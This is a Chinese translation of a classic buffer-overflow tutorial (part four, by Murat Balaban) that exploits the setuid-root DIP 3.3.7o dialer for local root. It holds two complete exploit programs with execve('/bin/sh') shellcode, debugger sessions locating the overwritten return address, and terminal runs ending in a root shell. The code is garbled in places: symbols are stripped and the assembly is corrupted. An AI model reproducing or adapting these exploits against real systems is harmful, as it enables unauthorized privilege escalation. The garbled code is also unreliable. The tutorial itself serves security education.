緩沖區(qū)溢出解密四
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:04:01 作者:佚名
我要評論

來自Aleph1的文章:
“可見這不是一個有效的過程。甚至在知道堆棧開始的位置時,試圖猜測偏移地址幾乎是不可能的。好的情況下我會需要上百次嘗試,壞的情況下會要上千次。問題是我們需要*準確*的猜測出我們代碼將開始的地址位置。如果我們偏了大概一個字
來自Aleph1的文章:
“可見這不是一個有效的過程。甚至在知道堆棧開始的位置時,試圖猜測偏移地址幾乎是不可能的。好的情況下我會需要上百次嘗試,壞的情況下會要上千次。問題是我們需要*準確*的猜測出我們代碼將開始的地址位置。如果我們偏了大概一個字節(jié),我們將得到一個段侵犯或者無效指令。一個提高我們機會的方法是在我們溢出緩沖區(qū)開頭填NOP指令。幾乎所有的處理器都有NOP指令執(zhí)行一個空操作。它經(jīng)常被用來為了時間目的延遲執(zhí)行。我們將利用它,并且用它們填充我們一半的溢出緩沖區(qū)。我們將在中間放置我們的shellcode,接著在它后面跟著返回地址。如果我們走運,而返回地址指向NOP字符串的任何位置,它們將被執(zhí)行直到它們遇到我們的代碼。在Intel構(gòu)架中,NOP指令是1個字節(jié)長在機器碼中它轉(zhuǎn)換成0x90。假設(shè)堆棧從地址0xFF開始,S表示shell代碼,N表示一個NOP指令,新的堆??赡芸雌饋硐筮@樣:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
這里,我們*猜測*地址。通過下面的子程序我們得到了當前存儲在ESP寄存器中的地址:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
有了上面這個函數(shù)的幫助,我們可以有一個內(nèi)存中堆棧指針可能在哪兒的*想法*。接著,我們從這個SP的地址中減去偏移量。如果我們足夠幸運的話,我們可以猜到緩沖區(qū)中一個NOP的地址。(然而,注意到getesp()不返回漏洞程序的ESP。它是我們漏洞利用程序的ESP。它僅僅考慮了一個范圍。)
為了闡明這兩個方法的不同之處,讓我們寫兩個漏洞利用程序,應(yīng)用一下目前為止我們所學(xué)的。
漏洞利用程序
現(xiàn)在我們知道了,什么是緩沖區(qū)溢出,知道如何利用緩沖區(qū)溢出覆蓋返回地址,知道我們怎樣能修改一個函數(shù)的返回地址,不必多說了。讓我們編寫漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中,有一個緩沖區(qū)溢出漏洞。在一些Linux發(fā)布版本中這個程序是默認setuid。
這個-l選項是有問題的。dip代碼沒有小心處理這個作為由用戶傳給程序的一個參數(shù)的值,沒有邊界檢測,它僅僅stpcpy()作為參數(shù)的任何內(nèi)容給一些本地緩沖區(qū),這些緩沖區(qū)只能存有限的數(shù)據(jù);因此增加了一個緩沖區(qū)溢出的風(fēng)險。
漏洞代碼如:
l = stpcpy(l, argv[i]);
如果你看stpcpy的手冊頁($man 3 stpcpy);stpcpy,不考慮它所處理的緩沖區(qū)的邊界,它把整個數(shù)組拷貝給另外一個。這里我們需要做的是:
1.在Aleph的方法中,用一些NULL操作(NOP)填到至少一半的緩沖區(qū),接著放置你的shellcode和猜測一個NOP或者shellcode本身的地址。2.在我們的方法中,由于我們準確的知道我們shellcode在內(nèi)存中的位置,我們僅僅拷貝這個地址到整個數(shù)組。
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$
從上面可以看到,當我們寫29個ABCD(29 * 4 = 116字節(jié))什么都沒有發(fā)生,然而當我們寫30個ABCD(30 * 4 = 120 bytes)的時候,程序出現(xiàn)了段侵犯。它沒有core dump,因為程序是setuid root權(quán)限的。讓我們成為root,看看當我們給-l選項提供一個120字節(jié)的字符串時會發(fā)生什么:
[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax 0xb4 180
ecx 0xb4 180
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x41444342 0x41444342
esi 0x4 4
edi 0x805419e 134562206
eip 0x444342 0x444342
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) 從這里可以看出,堆棧指針(ESP)和這個被保護的返回地址被我們的字符串”ABCD”覆蓋了。在Ascii中:
A is 0x41, B is 0x42, C is 0x43, D is 0x44
注意到基本指針寄存器,它是:
ebp 0x41444342 0x41444342
這里的值是ADCB。這也意味著我們不能排列這個字符串。我們需要把字符串左移一個字節(jié),這樣ABCD適合一個4字節(jié)內(nèi)存單元。這樣的話:
(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax 0xb5 181
ecx 0xb5 181
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x44434241 0x44434241
esi 0x4 4
edi 0x805419e 134562206
eip 0x44434241 0x44434241
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb)
可以看到,我們多加了一個A到我們的緩沖區(qū)開頭,這樣現(xiàn)在EIP和EBP寄存器都是:0x44434241,即我們可以校正我們的字符串了。 我將寫兩個漏洞利用程序。每一個將用一個不同的方法。第一個將是”經(jīng)典技術(shù)”而另外一個將是環(huán)境變量技術(shù)。你比較這兩個時,你將很容易地看出之間的不同,并且明白沒有必要去嘗試猜測奇怪的偏移。請注意,環(huán)境變量方法只有當是本地漏洞的時候才有用。
這里是用經(jīng)典方法的:
xdip2.c :
#include
#include
#include
#include
#define BUF 130
#define NOP 0x90
#define ALIGN 1
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
if (argc
讓我詳細說明這個漏洞利用程序:
我們定義我們的緩沖區(qū)為130個字節(jié)長,因為一個121字節(jié)的數(shù)組對于我們來說是足夠了,定義NULL操作指令的運算碼為0x90,Alignment為1。
記得我們之前為了找到校正所作的嗎?
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已經(jīng)知道下面是我們的shell生成碼:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
這個子程序返回堆棧指針的值。如我以前告訴你們的,這不是漏洞程序的ESP。它是我們漏洞利用程序的ESP,而我們利用這個值僅僅來知道內(nèi)存中漏洞程序堆棧指針可能的位置。它僅僅是考慮到一個范圍:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我們的main():arg[5]是為了execve(),buf[]是我們將供給漏洞緩沖區(qū)的。*ap(代表地址指針)是和buf[]的地址聯(lián)系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果這個”漏洞利用者”輸入一些值作為一個偏移量,我們從提示的esp中減去這個值,如果沒有,我們使用0xbfffd779做為shellcode的地址。我在用gdb調(diào)試dip的時候發(fā)現(xiàn)了這個地址。它是一個預(yù)先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我們讓地址指針指向buf ALIGMENT的地址:
ap = (int *)(buf ALIGNMENT);
我們校正我們的緩沖區(qū)后,我們先放置返回地址到整個緩沖區(qū):
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我們將一些NULL操作指令填到緩沖區(qū)的前半部:
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面,我們放置我們的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我們?yōu)閑xecve()準備參數(shù),如果你不明白這個去讀execve的手冊頁:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;
注意上面我提供buf給-l選項。
接著我們execve(),如果一個錯誤產(chǎn)生了,我們通過perror()得到這個錯誤:
execve(arg[0], arg, NULL);
perror(execve);
讓我們執(zhí)行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..
bash#
如果我們不知道確切的地址,我們需要猜測偏移量。讓我們假設(shè)我們不知道這個地址:
讓我們首先試以-400作為偏移量:
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Segmentation fault
[murat@victim murat]$
啊,讓我們試-350:
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Illegal Instruction
[murat@victim murat]$
讓我們進行另一個猜測:
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
bash#
然而,如你所見,猜測正確偏移量是非常乏味的。
現(xiàn)在是環(huán)境變量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define BUFSIZE 221
#define ALIGNMENT 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
讓我來詳細說明這個漏洞利用程序:
我們的main()。我們有一個字母指針數(shù)組。因為我們能計算環(huán)境指針的地址,我們把shellcode放到第一個環(huán)境變量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i; Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);
我們計算我們shellcode的地址。關(guān)于我們?nèi)绾斡嬎愕刂返募毠?jié)見上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
從緩沖區(qū)的第一個對齊的地址開始,我們放置shellcode的計算地址。我們以四為步長增加i,因為當我們以1為步長增加一個指針的時候,意味
著我們每次對其增加了4個字節(jié)。 for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接著我們execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因為不需要嘗試和猜測,第一次我們就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open
/var/lock/LCK..hÕÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ:
No such file or directory
bash#
因此,兩個方法之間的基本不同之處能被列成:
項目 Aleph1的方法 環(huán)境變量方法
-------------------- --------------------- ------------------------ 漏洞緩沖區(qū) 一半緩沖區(qū)被NOP填充, 全部緩沖區(qū)用地址填充
接著是shellcode,然后
是地址
sc的放置 我們放置sc在漏洞緩沖 我們放置sc在傳遞給execve
區(qū)里 ()的環(huán)境指針里
sc的地址 我們試著猜測sc的地址 我們*知道*sc的地址 小緩沖區(qū) 如果sc在緩沖區(qū)中不 因為我們已經(jīng)不把sc放在緩
合適,就很難利用漏洞 沖區(qū),這個就無關(guān)緊要了。僅
如果你選擇把sc放到 僅4個字節(jié)就夠了!
環(huán)境指針里你將必
須猜測環(huán)境指針的
地址
Diffic. Level somewhat harder easier!
最后的文字和致謝
這篇文章原來實際上使用土耳其語寫的。由于翻譯成英語或者其它語言有很多要求,而且實際上環(huán)境變量方法仍然缺少文檔,而我認為用英文準備一篇這樣的文章是一個很好的主意,還有介紹一個更加易懂的shellcode等等,我就寫了這篇文章。這里可能有一些模糊的地方或者甚至是一些需要改正的錯誤信息。如果你碰巧遇到額,給我email,我將改正它。先行致謝。 - Murat Balaban 致謝:a, matsuri, gargoyle
參考書目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在許多地方看到過這里我討論的shellcode。我真的不知道誰第一個寫的它所以如果你知道,請告訴我,這樣我能在這里加上。
相關(guān)文章
- “CMOS密碼”就是通常所說的“開機密碼”,主要是為了防止別人使用自已的計算機,設(shè)置的一個屏障2023-08-01
QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實沒啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04- QQ截圖是我用過的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨立版目前除了屏幕錄制功能其他都逆出來了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導(dǎo)致軟件無法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤分區(qū)安全時會采用 Windows 自帶的 BitLocker 加密工具對電腦磁盤分區(qū)進行加密。但有些人加密后就會忘記自己設(shè)置的密碼從而導(dǎo)致在安裝其它軟2020-11-25防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-06-27徹底防止計算機泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計算機泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價值,2017-06-27- 最近有電腦用戶反應(yīng)量子計算機可以破解下載的所有的加密算法嗎?其實也不是不可以,下面虛擬就為大家講解買臺量子計算機,如何分分鐘破解加密算法2016-09-26
怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁后門。黑客通常會通過它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來看看吧2016-09-19- 本文討論了針對Linux系統(tǒng)全盤加密的冷啟動攻擊,大家都認為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28
防止泄露公司機密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對日漸嚴重的內(nèi)部泄密事件,我們?nèi)绾问刈o企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個企業(yè)領(lǐng)導(dǎo)面前的一大問題。其實,針對內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17